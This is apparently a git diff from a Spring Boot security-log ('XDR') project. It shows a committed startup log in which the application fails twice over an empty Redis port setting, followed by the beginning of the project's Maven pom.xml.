2026-05-18 15:08:39.226 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:08:39.374 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:08:39.374 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 136 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:08:39.528 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.529 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.531 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:08:39.532 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:08:40.087 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:08:40.096 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:08:40.096 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:08:40.096 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:08:40.289 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:08:40.289 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4064 ms
|
||||
2026-05-18 15:08:40.355 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:08:42.934 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:08:43.338 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:08:43.348 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:08:43.363 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:08:43.365 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:08:43.412 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:08:48.096 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:08:48.101 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:08:48.113 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:08:48.130 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 15:11:54.550 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 10520 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 15:11:54.556 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 15:11:54.557 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 15:11:56.812 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:11:56.813 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:11:57.246 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 427 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 15:11:57.250 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:11:57.251 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 15:11:57.400 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 15:11:57.401 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 149 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 15:11:57.415 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 15:11:57.416 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 15:11:57.537 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 15:11:57.537 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 112 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.672 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.673 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.674 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.674 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.674 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 15:11:57.674 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 15:11:58.212 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 15:11:58.218 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 15:11:58.220 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 15:11:58.220 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 15:11:58.397 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 15:11:58.397 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 3741 ms
|
||||
2026-05-18 15:11:58.449 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 15:12:01.144 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 15:12:01.604 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 15:12:01.616 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 15:12:01.632 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 15:12:01.636 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 15:12:01.686 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 15:12:06.736 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 15:12:06.739 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 15:12:06.750 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 15:12:06.768 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,130 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-parent</artifactId>
|
||||
<version>2.7.4</version>
|
||||
<relativePath/> <!-- lookup parent from repository -->
|
||||
</parent>
|
||||
<groupId>com.haobang</groupId>
|
||||
<artifactId>security-xdr</artifactId>
|
||||
<version>1.0.0</version>
|
||||
<name>security-xdr</name>
|
||||
<description>security project for Spring Boot</description>
|
||||
<profiles>
|
||||
<profile>
|
||||
<id>dev</id>
|
||||
<properties>
|
||||
<env>dev</env>
|
||||
</properties>
|
||||
<activation>
|
||||
<activeByDefault>true</activeByDefault>
|
||||
</activation>
|
||||
</profile>
|
||||
<profile>
|
||||
<id>test</id>
|
||||
<properties>
|
||||
<env>test</env>
|
||||
</properties>
|
||||
</profile>
|
||||
<profile>
|
||||
<id>prod</id>
|
||||
<properties>
|
||||
<env>prod</env>
|
||||
</properties>
|
||||
</profile>
|
||||
</profiles>
|
||||
<properties>
|
||||
<java.version>1.8</java.version>
|
||||
</properties>
|
||||
<packaging>pom</packaging>
|
||||
<modules>
|
||||
<module>syslog-client</module>
|
||||
<module>syslog-serve</module>
|
||||
<module>syslog-consumer</module>
|
||||
<module>syslog-consumer-rule</module>
|
||||
</modules>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter</artifactId>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.graylog2</groupId>
|
||||
<artifactId>syslog4j</artifactId>
|
||||
<version>0.9.61</version> <!-- 请根据最新版本进行更新 -->
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-test</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 -->
|
||||
<dependency>
|
||||
<groupId>com.alibaba.fastjson2</groupId>
|
||||
<artifactId>fastjson2</artifactId>
|
||||
<version>2.0.40</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
